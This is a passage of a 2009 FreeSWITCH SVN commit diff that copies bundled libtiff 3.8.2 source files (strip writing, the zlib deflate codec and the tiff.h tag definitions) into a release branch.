+	return (1);
+}
+
+/*
+ * Append the data to the specified strip.
+ */
+static int
+TIFFAppendToStrip(TIFF* tif, tstrip_t strip, tidata_t data, tsize_t cc)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+	static const char module[] = "TIFFAppendToStrip";
+
+	if (td->td_stripoffset[strip] == 0 || tif->tif_curoff == 0) {
+		/*
+		 * No current offset, set the current strip.
+		 */
+		assert(td->td_nstrips > 0);
+		if (td->td_stripoffset[strip] != 0) {
+			/*
+			 * Prevent overlapping of the data chunks. We need
+                         * this to enable in place updating of the compressed
+                         * images. Larger blocks will be moved at the end of
+                         * the file without any optimization of the spare
+                         * space, so such scheme is not too much effective.
+			 */
+			if (td->td_stripbytecountsorted) {
+				if (strip == td->td_nstrips - 1
+				    || td->td_stripoffset[strip + 1] <
+					td->td_stripoffset[strip] + cc) {
+					td->td_stripoffset[strip] =
+						TIFFSeekFile(tif, (toff_t)0,
+							     SEEK_END);
+				}
+			} else {
+				tstrip_t i;
+				for (i = 0; i < td->td_nstrips; i++) {
+					if (td->td_stripoffset[i] > 
+						td->td_stripoffset[strip]
+					    && td->td_stripoffset[i] <
+						td->td_stripoffset[strip] + cc) {
+						td->td_stripoffset[strip] =
+							TIFFSeekFile(tif,
+								     (toff_t)0,
+								     SEEK_END);
+					}
+				}
+			}
+
+			if (!SeekOK(tif, td->td_stripoffset[strip])) {
+				TIFFErrorExt(tif->tif_clientdata, module,
+					  "%s: Seek error at scanline %lu",
+					  tif->tif_name,
+					  (unsigned long)tif->tif_row);
+				return (0);
+			}
+		} else
+			td->td_stripoffset[strip] =
+			    TIFFSeekFile(tif, (toff_t) 0, SEEK_END);
+		tif->tif_curoff = td->td_stripoffset[strip];
+	}
+
+	if (!WriteOK(tif, data, cc)) {
+		TIFFErrorExt(tif->tif_clientdata, module, "%s: Write error at scanline %lu",
+		    tif->tif_name, (unsigned long) tif->tif_row);
+		return (0);
+	}
+	tif->tif_curoff += cc;
+	td->td_stripbytecount[strip] += cc;
+	return (1);
+}
+
+/*
+ * Internal version of TIFFFlushData that can be
+ * called by ``encodestrip routines'' w/o concern
+ * for infinite recursion.
+ */
+int
+TIFFFlushData1(TIFF* tif)
+{
+	if (tif->tif_rawcc > 0) {
+		if (!isFillOrder(tif, tif->tif_dir.td_fillorder) &&
+		    (tif->tif_flags & TIFF_NOBITREV) == 0)
+			TIFFReverseBits((unsigned char *)tif->tif_rawdata,
+			    tif->tif_rawcc);
+		if (!TIFFAppendToStrip(tif,
+		    isTiled(tif) ? tif->tif_curtile : tif->tif_curstrip,
+		    tif->tif_rawdata, tif->tif_rawcc))
+			return (0);
+		tif->tif_rawcc = 0;
+		tif->tif_rawcp = tif->tif_rawdata;
+	}
+	return (1);
+}
+
+/*
+ * Set the current write offset.  This should only be
+ * used to set the offset to a known previous location
+ * (very carefully), or to 0 so that the next write gets
+ * appended to the end of the file.
+ */
+void
+TIFFSetWriteOffset(TIFF* tif, toff_t off)
+{
+	tif->tif_curoff = off;
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_zip.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_zip.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_zip.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_zip.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_zip.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,378 @@
+/* $Id: tif_zip.c,v 1.10 2006/03/16 12:38:24 dron Exp $ */
+
+/*
+ * Copyright (c) 1995-1997 Sam Leffler
+ * Copyright (c) 1995-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tiffiop.h"
+#ifdef ZIP_SUPPORT
+/*
+ * TIFF Library.
+ *
+ * ZIP (aka Deflate) Compression Support
+ *
+ * This file is simply an interface to the zlib library written by
+ * Jean-loup Gailly and Mark Adler.  You must use version 1.0 or later
+ * of the library: this code assumes the 1.0 API and also depends on
+ * the ability to write the zlib header multiple times (one per strip)
+ * which was not possible with versions prior to 0.95.  Note also that
+ * older versions of this codec avoided this bug by supressing the header
+ * entirely.  This means that files written with the old library cannot
+ * be read; they should be converted to a different compression scheme
+ * and then reconverted.
+ *
+ * The data format used by the zlib library is described in the files
+ * zlib-3.1.doc, deflate-1.1.doc and gzip-4.1.doc, available in the
+ * directory ftp://ftp.uu.net/pub/archiving/zip/doc.  The library was
+ * last found at ftp://ftp.uu.net/pub/archiving/zip/zlib/zlib-0.99.tar.gz.
+ */
+#include "tif_predict.h"
+#include "zlib.h"
+
+#include <stdio.h>
+
+/*
+ * Sigh, ZLIB_VERSION is defined as a string so there's no
+ * way to do a proper check here.  Instead we guess based
+ * on the presence of #defines that were added between the
+ * 0.95 and 1.0 distributions.
+ */
+#if !defined(Z_NO_COMPRESSION) || !defined(Z_DEFLATED)
+#error "Antiquated ZLIB software; you must use version 1.0 or later"
+#endif
+
+/*
+ * State block for each open TIFF
+ * file using ZIP compression/decompression.
+ */
+typedef	struct {
+	TIFFPredictorState predict;
+	z_stream	stream;
+	int		zipquality;		/* compression level */
+	int		state;			/* state flags */
+#define	ZSTATE_INIT	0x1		/* zlib setup successfully */
+
+	TIFFVGetMethod	vgetparent;		/* super-class method */
+	TIFFVSetMethod	vsetparent;		/* super-class method */
+} ZIPState;
+
+#define	ZState(tif)		((ZIPState*) (tif)->tif_data)
+#define	DecoderState(tif)	ZState(tif)
+#define	EncoderState(tif)	ZState(tif)
+
+static	int ZIPEncode(TIFF*, tidata_t, tsize_t, tsample_t);
+static	int ZIPDecode(TIFF*, tidata_t, tsize_t, tsample_t);
+
+static int
+ZIPSetupDecode(TIFF* tif)
+{
+	ZIPState* sp = DecoderState(tif);
+	static const char module[] = "ZIPSetupDecode";
+
+	assert(sp != NULL);
+	if (inflateInit(&sp->stream) != Z_OK) {
+		TIFFErrorExt(tif->tif_clientdata, module, "%s: %s", tif->tif_name, sp->stream.msg);
+		return (0);
+	} else {
+		sp->state |= ZSTATE_INIT;
+		return (1);
+	}
+}
+
+/*
+ * Setup state for decoding a strip.
+ */
+static int
+ZIPPreDecode(TIFF* tif, tsample_t s)
+{
+	ZIPState* sp = DecoderState(tif);
+
+	(void) s;
+	assert(sp != NULL);
+	sp->stream.next_in = tif->tif_rawdata;
+	sp->stream.avail_in = tif->tif_rawcc;
+	return (inflateReset(&sp->stream) == Z_OK);
+}
+
+static int
+ZIPDecode(TIFF* tif, tidata_t op, tsize_t occ, tsample_t s)
+{
+	ZIPState* sp = DecoderState(tif);
+	static const char module[] = "ZIPDecode";
+
+	(void) s;
+	assert(sp != NULL);
+	sp->stream.next_out = op;
+	sp->stream.avail_out = occ;
+	do {
+		int state = inflate(&sp->stream, Z_PARTIAL_FLUSH);
+		if (state == Z_STREAM_END)
+			break;
+		if (state == Z_DATA_ERROR) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+			    "%s: Decoding error at scanline %d, %s",
+			    tif->tif_name, tif->tif_row, sp->stream.msg);
+			if (inflateSync(&sp->stream) != Z_OK)
+				return (0);
+			continue;
+		}
+		if (state != Z_OK) {
+			TIFFErrorExt(tif->tif_clientdata, module, "%s: zlib error: %s",
+			    tif->tif_name, sp->stream.msg);
+			return (0);
+		}
+	} while (sp->stream.avail_out > 0);
+	if (sp->stream.avail_out != 0) {
+		TIFFErrorExt(tif->tif_clientdata, module,
+		    "%s: Not enough data at scanline %d (short %d bytes)",
+		    tif->tif_name, tif->tif_row, sp->stream.avail_out);
+		return (0);
+	}
+	return (1);
+}
+
+static int
+ZIPSetupEncode(TIFF* tif)
+{
+	ZIPState* sp = EncoderState(tif);
+	static const char module[] = "ZIPSetupEncode";
+
+	assert(sp != NULL);
+	if (deflateInit(&sp->stream, sp->zipquality) != Z_OK) {
+		TIFFErrorExt(tif->tif_clientdata, module, "%s: %s", tif->tif_name, sp->stream.msg);
+		return (0);
+	} else {
+		sp->state |= ZSTATE_INIT;
+		return (1);
+	}
+}
+
+/*
+ * Reset encoding state at the start of a strip.
+ */
+static int
+ZIPPreEncode(TIFF* tif, tsample_t s)
+{
+	ZIPState *sp = EncoderState(tif);
+
+	(void) s;
+	assert(sp != NULL);
+	sp->stream.next_out = tif->tif_rawdata;
+	sp->stream.avail_out = tif->tif_rawdatasize;
+	return (deflateReset(&sp->stream) == Z_OK);
+}
+
+/*
+ * Encode a chunk of pixels.
+ */
+static int
+ZIPEncode(TIFF* tif, tidata_t bp, tsize_t cc, tsample_t s)
+{
+	ZIPState *sp = EncoderState(tif);
+	static const char module[] = "ZIPEncode";
+
+	(void) s;
+	sp->stream.next_in = bp;
+	sp->stream.avail_in = cc;
+	do {
+		if (deflate(&sp->stream, Z_NO_FLUSH) != Z_OK) {
+			TIFFErrorExt(tif->tif_clientdata, module, "%s: Encoder error: %s",
+			    tif->tif_name, sp->stream.msg);
+			return (0);
+		}
+		if (sp->stream.avail_out == 0) {
+			tif->tif_rawcc = tif->tif_rawdatasize;
+			TIFFFlushData1(tif);
+			sp->stream.next_out = tif->tif_rawdata;
+			sp->stream.avail_out = tif->tif_rawdatasize;
+		}
+	} while (sp->stream.avail_in > 0);
+	return (1);
+}
+
+/*
+ * Finish off an encoded strip by flushing the last
+ * string and tacking on an End Of Information code.
+ */
+static int
+ZIPPostEncode(TIFF* tif)
+{
+	ZIPState *sp = EncoderState(tif);
+	static const char module[] = "ZIPPostEncode";
+	int state;
+
+	sp->stream.avail_in = 0;
+	do {
+		state = deflate(&sp->stream, Z_FINISH);
+		switch (state) {
+		case Z_STREAM_END:
+		case Z_OK:
+		    if ((int)sp->stream.avail_out != (int)tif->tif_rawdatasize)
+                    {
+			    tif->tif_rawcc =
+				tif->tif_rawdatasize - sp->stream.avail_out;
+			    TIFFFlushData1(tif);
+			    sp->stream.next_out = tif->tif_rawdata;
+			    sp->stream.avail_out = tif->tif_rawdatasize;
+		    }
+		    break;
+		default:
+			TIFFErrorExt(tif->tif_clientdata, module, "%s: zlib error: %s",
+			tif->tif_name, sp->stream.msg);
+		    return (0);
+		}
+	} while (state != Z_STREAM_END);
+	return (1);
+}
+
+static void
+ZIPCleanup(TIFF* tif)
+{
+	ZIPState* sp = ZState(tif);
+
+	assert(sp != 0);
+
+	(void)TIFFPredictorCleanup(tif);
+
+	tif->tif_tagmethods.vgetfield = sp->vgetparent;
+	tif->tif_tagmethods.vsetfield = sp->vsetparent;
+
+	if (sp->state&ZSTATE_INIT) {
+		/* NB: avoid problems in the library */
+		if (tif->tif_mode == O_RDONLY)
+			inflateEnd(&sp->stream);
+		else
+			deflateEnd(&sp->stream);
+	}
+	_TIFFfree(sp);
+	tif->tif_data = NULL;
+
+	_TIFFSetDefaultCompressionState(tif);
+}
+
+static int
+ZIPVSetField(TIFF* tif, ttag_t tag, va_list ap)
+{
+	ZIPState* sp = ZState(tif);
+	static const char module[] = "ZIPVSetField";
+
+	switch (tag) {
+	case TIFFTAG_ZIPQUALITY:
+		sp->zipquality = va_arg(ap, int);
+		if (tif->tif_mode != O_RDONLY && (sp->state&ZSTATE_INIT)) {
+			if (deflateParams(&sp->stream,
+			    sp->zipquality, Z_DEFAULT_STRATEGY) != Z_OK) {
+				TIFFErrorExt(tif->tif_clientdata, module, "%s: zlib error: %s",
+				    tif->tif_name, sp->stream.msg);
+				return (0);
+			}
+		}
+		return (1);
+	default:
+		return (*sp->vsetparent)(tif, tag, ap);
+	}
+	/*NOTREACHED*/
+}
+
+static int
+ZIPVGetField(TIFF* tif, ttag_t tag, va_list ap)
+{
+	ZIPState* sp = ZState(tif);
+
+	switch (tag) {
+	case TIFFTAG_ZIPQUALITY:
+		*va_arg(ap, int*) = sp->zipquality;
+		break;
+	default:
+		return (*sp->vgetparent)(tif, tag, ap);
+	}
+	return (1);
+}
+
+static const TIFFFieldInfo zipFieldInfo[] = {
+    { TIFFTAG_ZIPQUALITY,	 0, 0,	TIFF_ANY,	FIELD_PSEUDO,
+      TRUE,	FALSE,	"" },
+};
+
+int
+TIFFInitZIP(TIFF* tif, int scheme)
+{
+	ZIPState* sp;
+
+	assert( (scheme == COMPRESSION_DEFLATE)
+		|| (scheme == COMPRESSION_ADOBE_DEFLATE));
+
+	/*
+	 * Allocate state block so tag methods have storage to record values.
+	 */
+	tif->tif_data = (tidata_t) _TIFFmalloc(sizeof (ZIPState));
+	if (tif->tif_data == NULL)
+		goto bad;
+	sp = ZState(tif);
+	sp->stream.zalloc = NULL;
+	sp->stream.zfree = NULL;
+	sp->stream.opaque = NULL;
+	sp->stream.data_type = Z_BINARY;
+
+	/*
+	 * Merge codec-specific tag information and
+	 * override parent get/set field methods.
+	 */
+	_TIFFMergeFieldInfo(tif, zipFieldInfo, TIFFArrayCount(zipFieldInfo));
+	sp->vgetparent = tif->tif_tagmethods.vgetfield;
+	tif->tif_tagmethods.vgetfield = ZIPVGetField; /* hook for codec tags */
+	sp->vsetparent = tif->tif_tagmethods.vsetfield;
+	tif->tif_tagmethods.vsetfield = ZIPVSetField; /* hook for codec tags */
+
+	/* Default values for codec-specific fields */
+	sp->zipquality = Z_DEFAULT_COMPRESSION;	/* default comp. level */
+	sp->state = 0;
+
+	/*
+	 * Install codec methods.
+	 */
+	tif->tif_setupdecode = ZIPSetupDecode;
+	tif->tif_predecode = ZIPPreDecode;
+	tif->tif_decoderow = ZIPDecode;
+	tif->tif_decodestrip = ZIPDecode;
+	tif->tif_decodetile = ZIPDecode;
+	tif->tif_setupencode = ZIPSetupEncode;
+	tif->tif_preencode = ZIPPreEncode;
+	tif->tif_postencode = ZIPPostEncode;
+	tif->tif_encoderow = ZIPEncode;
+	tif->tif_encodestrip = ZIPEncode;
+	tif->tif_encodetile = ZIPEncode;
+	tif->tif_cleanup = ZIPCleanup;
+	/*
+	 * Setup predictor setup.
+	 */
+	(void) TIFFPredictorInit(tif);
+	return (1);
+bad:
+	TIFFErrorExt(tif->tif_clientdata, "TIFFInitZIP",
+		     "No space for ZIP state block");
+	return (0);
+}
+#endif /* ZIP_SUPORT */
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiff.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiff.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tiff.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiff.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiff.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,647 @@
+/* $Id: tiff.h,v 1.42 2005/12/23 15:10:45 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#ifndef _TIFF_
+#define	_TIFF_
+
+#include "tiffconf.h"
+
+/*
+ * Tag Image File Format (TIFF)
+ *
+ * Based on Rev 6.0 from:
+ *    Developer's Desk
+ *    Aldus Corporation
+ *    411 First Ave. South
+ *    Suite 200
+ *    Seattle, WA  98104
+ *    206-622-5500
+ *    
+ *    (http://partners.adobe.com/asn/developer/PDFS/TN/TIFF6.pdf)
+ *
+ * For Big TIFF design notes see the following link
+ *    http://gdal.maptools.org/twiki/bin/view/libtiff/BigTIFFDesign
+ */
+#define	TIFF_VERSION	        42
+#define TIFF_BIGTIFF_VERSION    43
+
+#define	TIFF_BIGENDIAN		0x4d4d
+#define	TIFF_LITTLEENDIAN	0x4949
+#define	MDI_LITTLEENDIAN        0x5045
+#define	MDI_BIGENDIAN           0x4550
+/*
+ * Intrinsic data types required by the file format:
+ *
+ * 8-bit quantities	int8/uint8
+ * 16-bit quantities	int16/uint16
+ * 32-bit quantities	int32/uint32
+ * strings		unsigned char*
+ */
+
+#ifndef HAVE_INT8
+typedef	signed char int8;	/* NB: non-ANSI compilers may not grok */
+#endif
+typedef	unsigned char uint8;
+#ifndef HAVE_INT16
+typedef	short int16;
+#endif
+typedef	unsigned short uint16;	/* sizeof (uint16) must == 2 */
+#if SIZEOF_INT == 4
+#ifndef HAVE_INT32
+typedef	int int32;
+#endif
+typedef	unsigned int uint32;	/* sizeof (uint32) must == 4 */
+#elif SIZEOF_LONG == 4
+#ifndef HAVE_INT32
+typedef	long int32;
+#endif
+typedef	unsigned long uint32;	/* sizeof (uint32) must == 4 */
+#endif
+
+/* For TIFFReassignTagToIgnore */
+enum TIFFIgnoreSense /* IGNORE tag table */
+{
+	TIS_STORE,
+	TIS_EXTRACT,
+	TIS_EMPTY
+};
+
+/*
+ * TIFF header.
+ */
+typedef	struct {
+	uint16	tiff_magic;	/* magic number (defines byte order) */
+#define TIFF_MAGIC_SIZE		2
+	uint16	tiff_version;	/* TIFF version number */
+#define TIFF_VERSION_SIZE	2
+	uint32	tiff_diroff;	/* byte offset to first directory */
+#define TIFF_DIROFFSET_SIZE	4
+} TIFFHeader;
+
+
+/*
+ * TIFF Image File Directories are comprised of a table of field
+ * descriptors of the form shown below.  The table is sorted in
+ * ascending order by tag.  The values associated with each entry are
+ * disjoint and may appear anywhere in the file (so long as they are
+ * placed on a word boundary).
+ *
+ * If the value is 4 bytes or less, then it is placed in the offset
+ * field to save space.  If the value is less than 4 bytes, it is
+ * left-justified in the offset field.
+ */
+typedef	struct {
+	uint16		tdir_tag;	/* see below */
+	uint16		tdir_type;	/* data type; see below */
+	uint32		tdir_count;	/* number of items; length in spec */
+	uint32		tdir_offset;	/* byte offset to field data */
+} TIFFDirEntry;
+
+/*
+ * NB: In the comments below,
+ *  - items marked with a + are obsoleted by revision 5.0,
+ *  - items marked with a ! are introduced in revision 6.0.
+ *  - items marked with a % are introduced post revision 6.0.
+ *  - items marked with a $ are obsoleted by revision 6.0.
+ *  - items marked with a & are introduced by Adobe DNG specification.
+ */
+
+/*
+ * Tag data type information.
+ *
+ * Note: RATIONALs are the ratio of two 32-bit integer values.
+ */
+typedef	enum {
+	TIFF_NOTYPE	= 0,	/* placeholder */
+	TIFF_BYTE	= 1,	/* 8-bit unsigned integer */
+	TIFF_ASCII	= 2,	/* 8-bit bytes w/ last byte null */
+	TIFF_SHORT	= 3,	/* 16-bit unsigned integer */
+	TIFF_LONG	= 4,	/* 32-bit unsigned integer */
+	TIFF_RATIONAL	= 5,	/* 64-bit unsigned fraction */
+	TIFF_SBYTE	= 6,	/* !8-bit signed integer */
+	TIFF_UNDEFINED	= 7,	/* !8-bit untyped data */
+	TIFF_SSHORT	= 8,	/* !16-bit signed integer */
+	TIFF_SLONG	= 9,	/* !32-bit signed integer */
+	TIFF_SRATIONAL	= 10,	/* !64-bit signed fraction */
+	TIFF_FLOAT	= 11,	/* !32-bit IEEE floating point */
+	TIFF_DOUBLE	= 12,	/* !64-bit IEEE floating point */
+	TIFF_IFD	= 13	/* %32-bit unsigned integer (offset) */
+} TIFFDataType;
+
+/*
+ * TIFF Tag Definitions.
+ */
+#define	TIFFTAG_SUBFILETYPE		254	/* subfile data descriptor */
+#define	    FILETYPE_REDUCEDIMAGE	0x1	/* reduced resolution version */
+#define	    FILETYPE_PAGE		0x2	/* one page of many */
+#define	    FILETYPE_MASK		0x4	/* transparency mask */
+#define	TIFFTAG_OSUBFILETYPE		255	/* +kind of data in subfile */
+#define	    OFILETYPE_IMAGE		1	/* full resolution image data */
+#define	    OFILETYPE_REDUCEDIMAGE	2	/* reduced size image data */
+#define	    OFILETYPE_PAGE		3	/* one page of many */
+#define	TIFFTAG_IMAGEWIDTH		256	/* image width in pixels */
+#define	TIFFTAG_IMAGELENGTH		257	/* image height in pixels */
+#define	TIFFTAG_BITSPERSAMPLE		258	/* bits per channel (sample) */
+#define	TIFFTAG_COMPRESSION		259	/* data compression technique */
+#define	    COMPRESSION_NONE		1	/* dump mode */
+#define	    COMPRESSION_CCITTRLE	2	/* CCITT modified Huffman RLE */
+#define	    COMPRESSION_CCITTFAX3	3	/* CCITT Group 3 fax encoding */
+#define     COMPRESSION_CCITT_T4        3       /* CCITT T.4 (TIFF 6 name) */
+#define	    COMPRESSION_CCITTFAX4	4	/* CCITT Group 4 fax encoding */
+#define     COMPRESSION_CCITT_T6        4       /* CCITT T.6 (TIFF 6 name) */
+#define	    COMPRESSION_LZW		5       /* Lempel-Ziv  & Welch */
+#define	    COMPRESSION_OJPEG		6	/* !6.0 JPEG */
+#define	    COMPRESSION_JPEG		7	/* %JPEG DCT compression */
+#define	    COMPRESSION_NEXT		32766	/* NeXT 2-bit RLE */
+#define	    COMPRESSION_CCITTRLEW	32771	/* #1 w/ word alignment */
+#define	    COMPRESSION_PACKBITS	32773	/* Macintosh RLE */
+#define	    COMPRESSION_THUNDERSCAN	32809	/* ThunderScan RLE */
+/* codes 32895-32898 are reserved for ANSI IT8 TIFF/IT <dkelly@apago.com) */
+#define	    COMPRESSION_IT8CTPAD	32895   /* IT8 CT w/padding */
+#define	    COMPRESSION_IT8LW		32896   /* IT8 Linework RLE */
+#define	    COMPRESSION_IT8MP		32897   /* IT8 Monochrome picture */
+#define	    COMPRESSION_IT8BL		32898   /* IT8 Binary line art */
+/* compression codes 32908-32911 are reserved for Pixar */
+#define     COMPRESSION_PIXARFILM	32908   /* Pixar companded 10bit LZW */
+#define	    COMPRESSION_PIXARLOG	32909   /* Pixar companded 11bit ZIP */
+#define	    COMPRESSION_DEFLATE		32946	/* Deflate compression */
+#define     COMPRESSION_ADOBE_DEFLATE   8       /* Deflate compression,
+						   as recognized by Adobe */
+/* compression code 32947 is reserved for Oceana Matrix <dev@oceana.com> */
+#define     COMPRESSION_DCS             32947   /* Kodak DCS encoding */
+#define	    COMPRESSION_JBIG		34661	/* ISO JBIG */
+#define     COMPRESSION_SGILOG		34676	/* SGI Log Luminance RLE */
+#define     COMPRESSION_SGILOG24	34677	/* SGI Log 24-bit packed */
+#define     COMPRESSION_JP2000          34712   /* Leadtools JPEG2000 */
+#define	TIFFTAG_PHOTOMETRIC		262	/* photometric interpretation */
+#define	    PHOTOMETRIC_MINISWHITE	0	/* min value is white */
+#define	    PHOTOMETRIC_MINISBLACK	1	/* min value is black */
+#define	    PHOTOMETRIC_RGB		2	/* RGB color model */
+#define	    PHOTOMETRIC_PALETTE		3	/* color map indexed */
+#define	    PHOTOMETRIC_MASK		4	/* $holdout mask */
+#define	    PHOTOMETRIC_SEPARATED	5	/* !color separations */
+#define	    PHOTOMETRIC_YCBCR		6	/* !CCIR 601 */
+#define	    PHOTOMETRIC_CIELAB		8	/* !1976 CIE L*a*b* */
+#define	    PHOTOMETRIC_ICCLAB		9	/* ICC L*a*b* [Adobe TIFF Technote 4] */
+#define	    PHOTOMETRIC_ITULAB		10	/* ITU L*a*b* */
+#define     PHOTOMETRIC_LOGL		32844	/* CIE Log2(L) */
+#define     PHOTOMETRIC_LOGLUV		32845	/* CIE Log2(L) (u',v') */
+#define	TIFFTAG_THRESHHOLDING		263	/* +thresholding used on data */
+#define	    THRESHHOLD_BILEVEL		1	/* b&w art scan */
+#define	    THRESHHOLD_HALFTONE		2	/* or dithered scan */
+#define	    THRESHHOLD_ERRORDIFFUSE	3	/* usually floyd-steinberg */
+#define	TIFFTAG_CELLWIDTH		264	/* +dithering matrix width */
+#define	TIFFTAG_CELLLENGTH		265	/* +dithering matrix height */
+#define	TIFFTAG_FILLORDER		266	/* data order within a byte */
+#define	    FILLORDER_MSB2LSB		1	/* most significant -> least */
+#define	    FILLORDER_LSB2MSB		2	/* least significant -> most */
+#define	TIFFTAG_DOCUMENTNAME		269	/* name of doc. image is from */
+#define	TIFFTAG_IMAGEDESCRIPTION	270	/* info about image */
+#define	TIFFTAG_MAKE			271	/* scanner manufacturer name */
+#define	TIFFTAG_MODEL			272	/* scanner model name/number */
+#define	TIFFTAG_STRIPOFFSETS		273	/* offsets to data strips */
+#define	TIFFTAG_ORIENTATION		274	/* +image orientation */
+#define	    ORIENTATION_TOPLEFT		1	/* row 0 top, col 0 lhs */
+#define	    ORIENTATION_TOPRIGHT	2	/* row 0 top, col 0 rhs */
+#define	    ORIENTATION_BOTRIGHT	3	/* row 0 bottom, col 0 rhs */
+#define	    ORIENTATION_BOTLEFT		4	/* row 0 bottom, col 0 lhs */
+#define	    ORIENTATION_LEFTTOP		5	/* row 0 lhs, col 0 top */
+#define	    ORIENTATION_RIGHTTOP	6	/* row 0 rhs, col 0 top */
+#define	    ORIENTATION_RIGHTBOT	7	/* row 0 rhs, col 0 bottom */
+#define	    ORIENTATION_LEFTBOT		8	/* row 0 lhs, col 0 bottom */
+#define	TIFFTAG_SAMPLESPERPIXEL		277	/* samples per pixel */
+#define	TIFFTAG_ROWSPERSTRIP		278	/* rows per strip of data */
+#define	TIFFTAG_STRIPBYTECOUNTS		279	/* bytes counts for strips */
+#define	TIFFTAG_MINSAMPLEVALUE		280	/* +minimum sample value */
+#define	TIFFTAG_MAXSAMPLEVALUE		281	/* +maximum sample value */
+#define	TIFFTAG_XRESOLUTION		282	/* pixels/resolution in x */
+#define	TIFFTAG_YRESOLUTION		283	/* pixels/resolution in y */
+#define	TIFFTAG_PLANARCONFIG		284	/* storage organization */
+#define	    PLANARCONFIG_CONTIG		1	/* single image plane */
+#define	    PLANARCONFIG_SEPARATE	2	/* separate planes of data */
+#define	TIFFTAG_PAGENAME		285	/* page name image is from */
+#define	TIFFTAG_XPOSITION		286	/* x page offset of image lhs */
+#define	TIFFTAG_YPOSITION		287	/* y page offset of image lhs */
+#define	TIFFTAG_FREEOFFSETS		288	/* +byte offset to free block */
+#define	TIFFTAG_FREEBYTECOUNTS		289	/* +sizes of free blocks */
+#define	TIFFTAG_GRAYRESPONSEUNIT	290	/* $gray scale curve accuracy */
+#define	    GRAYRESPONSEUNIT_10S	1	/* tenths of a unit */
+#define	    GRAYRESPONSEUNIT_100S	2	/* hundredths of a unit */
+#define	    GRAYRESPONSEUNIT_1000S	3	/* thousandths of a unit */
+#define	    GRAYRESPONSEUNIT_10000S	4	/* ten-thousandths of a unit */
+#define	    GRAYRESPONSEUNIT_100000S	5	/* hundred-thousandths */
+#define	TIFFTAG_GRAYRESPONSECURVE	291	/* $gray scale response curve */
+#define	TIFFTAG_GROUP3OPTIONS		292	/* 32 flag bits */
+#define	TIFFTAG_T4OPTIONS		292	/* TIFF 6.0 proper name alias */
+#define	    GROUP3OPT_2DENCODING	0x1	/* 2-dimensional coding */
+#define	    GROUP3OPT_UNCOMPRESSED	0x2	/* data not compressed */
+#define	    GROUP3OPT_FILLBITS		0x4	/* fill to byte boundary */
+#define	TIFFTAG_GROUP4OPTIONS		293	/* 32 flag bits */
+#define TIFFTAG_T6OPTIONS               293     /* TIFF 6.0 proper name */
+#define	    GROUP4OPT_UNCOMPRESSED	0x2	/* data not compressed */
+#define	TIFFTAG_RESOLUTIONUNIT		296	/* units of resolutions */
+#define	    RESUNIT_NONE		1	/* no meaningful units */
+#define	    RESUNIT_INCH		2	/* english */
+#define	    RESUNIT_CENTIMETER		3	/* metric */
+#define	TIFFTAG_PAGENUMBER		297	/* page numbers of multi-page */
+#define	TIFFTAG_COLORRESPONSEUNIT	300	/* $color curve accuracy */
